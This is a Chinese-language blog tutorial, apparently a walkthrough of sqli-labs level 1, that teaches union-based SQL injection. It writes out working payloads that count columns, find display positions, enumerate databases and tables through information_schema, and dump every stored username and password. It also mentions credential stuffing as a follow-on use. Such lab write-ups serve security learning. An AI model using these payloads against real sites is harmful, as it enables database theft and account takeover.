一、漏洞描述

数据库是对用户数据进行存储以及删除等操作 ,功能是用来组织,存储和管理数据。比如我们网站每一个用户对应的用户名基本信息,账号密码等等,都在服务器用数据库保存。用户通过对网站的操作,请求返回给服务器,服务器将对应数据拿出来渲染在html中让用户使用。比如登录操作,输入账号密码后服务器会查询响应账户的密码是否对应,这些都需要在后端语言中用到sql语句。而黑客们通过传入数据使原本的sql语句拼接了其他语句,执行了其他的操作。就sql-labs中的一些关卡的漏洞,这里先介绍有回显的注入方式。

二、漏洞发现

在sqli-labs第一关中,服务器让我们传入参数为id的值,在这里输入单引号发现报错,说明存在注入

直接打开源码,将id传入的变量写入result.txt文件中,先定义$sql变量为要执行的sql语句,再将语句放在mysql_query函数中执行,执行后传入mysql_fetch_array函数中提取结果,下面打印结果。

mysql_query()函数:用于向mysql发送并执行sql语句

mysql_fetch_array()函数:先提取查询结果的第一行的内容,这个函数的参数是mysql_query函数返回的整数标志,而mysql_fetch_array执行成功后,记录集指针会自动下移,再次执行则得到下一行的内容。

若传入id=1,这句sql语句中查询users表中,id为1的所有字段,返回从0开始的一行

那么如果在id传入单引号,因为这个单引号被传入sql语句闭合了前一个单引号则这个语句一定会出现错误,但是可以在可控变量id处插入要执行的其他语句,使用单引号闭合前面单引号写入语句再用注释符将后面语句注释。如传入’order by 3--+

order by语句:用于对结果集排序,默认为升序,后面数字为按照第几列排序

三、漏洞利用

1.猜字段数:

id='order by 3--+(无报错回显)

id='order by 4--+(有报错回显)

获得信息:该表字段数为3

2.确定显示位置:

id=' union select 1,2,3--+

union:mysql允许多个查询既多条select语句,并将结果作为单个查询结果集返回,每个查询必须包含相同的列,因为前面知道了该数据库的列数,而服务器正常功能是返回查询的列的字段信息返回给客户端,在这里id后没有参数所以不做查询但后面加1,2,3通过观察返回的数字可得是用了哪几个列且知道回显位置。后面就通过这些回显位置进行信息获取。

获得信息:2,3位置回显

3.通过显示位信息收集:

id='union select 1,database(),version()--+(获取当前网站用的数据库名和mysql版本)

information_schema有据查询(mysql 5.0以上有)在这里版本为5.5.53有这库,里面存放了所有msyql的信息,类型于书的目录,低版本只能爆破表名,字段名

获取信息:当前数据库为security,mysql版本5.5.53有information_schema表

4.数据收集:

id=' union select 1,group_concat(schema_name),3 from information_schema.schemata--+(查所有数据库名)

group_concat()函数:将对应字段的值在一行打印

id=' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+(查security库对应的表)

id=' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security'--+(查security库中users表的字段名字)

获取信息:字段名为id,username,password

id=' union select 1,group_concat(username),group_concat(password) from security.users--+(获取sercurity库中users表username和password字段所有信息)

由此获取了数据库中所有人的账户密码,还可以查询其他想查的信息只要数据库中有。

5.总结:

这里只用单引号注入说明了有回显的注入,希望能举一反三,当然在网上会有很多花里胡哨的注入,什么数字形、字符形、双引号、括号加单引号,get,post,cookie乱七八糟。其实就是换汤不换药,只是服务端原有sql语句的闭合方式不一样,就是通过闭合前面让它报错从而判断是什么方式闭合,它用十个双引号也一样。实际中就动手多试试,要么拿个字典跑一下。我只把sql注入分为有回显无回显,这个显示也只是给我们一个信号或者信息。网上还有什么第一步判断注入点,这一点我个人认为如果有常识和经验找这个东西会事半功倍,比如像那种输入框填账号密码的地方它必须要和数据库交互等等。

而黑客sql注入后获取大量的用户密码能干的事多了,比如撞库,因为有人为了方便喜欢把所有社交平台密码设置的一模一样,那么知道一个账户密码可以去尝试登录其他账户。或者知道管理员后台密码进行下一步渗透。

【漏洞发现-sql注入】有回显注入--sqli-labs相关推荐

  1. 84.网络安全渗透测试—[SQL注入篇23]—[高级注入技巧-dnslog无回显注入]

    我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!! 文章目录 一.高级注入技巧 dnslog无回显注入 1.原理 2.dnslog平台 3.MySQL dnslog无回显注入 ...

  2. mysql注入 无回显_XML外部实体注入2:无回显的XXE

    生如夏花之绚烂,死如秋叶之静美. -- 泰戈尔 <生如夏花> 0 1 XML基础 XML 首先要先说下 xml.xml 是一种可扩展的标记语言,主要就是用来传输数据的,你可以理解为就是一种 ...

  3. mysql的sql手工注入基于回显,SQL手工注入漏洞测试(Sql Server数据库)

    寻找注入点 and 1=1 ,and 2=1 判断字段 order by N# 虽然3报错,但4有回显.判断是4个字段 查看回显位置id=2 and 2=1 union all select 1,2, ...

  4. mysql注入 无回显_33. 注入信息无回显?(给盲注戴上眼镜)

    注入信息无回显?(给盲注戴上眼镜) 工具简介: 平常的漏洞检测或漏洞利用需要进一步的用户或系统交互.但是一些漏洞类型没有直接表明攻击是成功的.如Payload触发了却不在前端页面显示.(像ssrf,X ...

  5. sql注入-回显注入实例详解

    根据前面对sql注入流程的说明https://blog.csdn.net/CPriLuke/article/details/106961748 本章主要对说明的内容通过实战的方式进一步加深,实战环境 ...

  6. Web TOP10漏洞之sql注入

    sql注入漏洞 目录 sql注入漏洞 信息搜集: 方法 1.判断是否存在注入点 2.数字or字符or搜索 3.提交方式 4.判断注入姿势 5.玩法^_^ 补充知识: 绕过过滤 其他数据库 信息搜集: ...

  7. SQL注入之联合查询注入

    MySQL中的联合查询 联合查询是可合并多个相似的选择查询的结果集.等同于将一个表追加到另一个表,从而实现将两个表的查询组合在一起,使用为此为UNINO或UNION ALL 联合查询:将多个查询的结果 ...

  8. concat mysql sql注入_sql注入-mysql注入基础及常用注入语句

    最近在教学中,关于SQL注入,总发现学生理解起来有些难度,其实主要的原因是对各类数据库以及SQL语句不熟悉,今天先介绍mysql注入需要掌握的基础, Mysql内置information_schema ...

  9. ajax回显500因为#与$的原因

    项目场景: 今天使用ajax写了个增删改查 问题描述: 没想到回显的时候报了一个500的错误: 错误示例: 错误代码示例: <form id="update_form"> ...

最新文章

  1. 敏捷开发中如何定义“完成”?
  2. 只要能坚持下来就是好博客
  3. shell清除日志小脚本
  4. vue 圆形百分比进度条_快速构建一个圆形的进度条
  5. node 生产的env文件怎么注入_Node.js进阶之进程与线程
  6. git push github SSL报错处理
  7. Scala的四种Web框架
  8. linux 删除mysql_MySQL— Linux下解压包方式安装
  9. [蓝桥杯][2013年第四届真题]大臣的旅费(树的直径)
  10. 从零开始学前端:标签渐变和媒体查询 --- 今天你学习了吗?(CSS:Day25)
  11. 案例学习BlazeDS+Spring之四InSync02使用RemoteObject事件
  12. 引入阿里iconfont图标方法以及注意事项
  13. 网络抖动多少ms算正常_网络延迟多少秒算正常
  14. 关保条例发展历程解读
  15. win10笔记本,蓝牙耳机连接上电脑以后,耳机没有声音怎么办?
  16. 热点综述 | 单细胞+空间转录组的整合分析方法总结
  17. 向产品宣战——开发者眼中的Android UI Design
  18. “铁人三项”运营、技术、资本无短板,BW期货交易平台要逆天爆发?
  19. 用fock实现简易shell(程序替换)
  20. 电商网站怎么挑选高防服务器防御恶意攻击

热门文章

  1. unity urp内置lit材质源码解析(中)
  2. Arduino使用水位传感器
  3. 保姆级静态网站搭建-阿里云实践
  4. 常用网址-2023整理
  5. 打造“财务中台”,浪潮云ERP助推企业业财融合、强化管控
  6. 中国氢电解槽市场深度研究分析报告
  7. Springboot -Shiro整合JWT(注解形式)
  8. 30天自制操作系统 Day3
  9. VLC media player ActiveX控件制作
  10. 正则匹配html标签和内容,正则匹配HTML标签(不保留内容和保留内容、过滤标签的的属性)...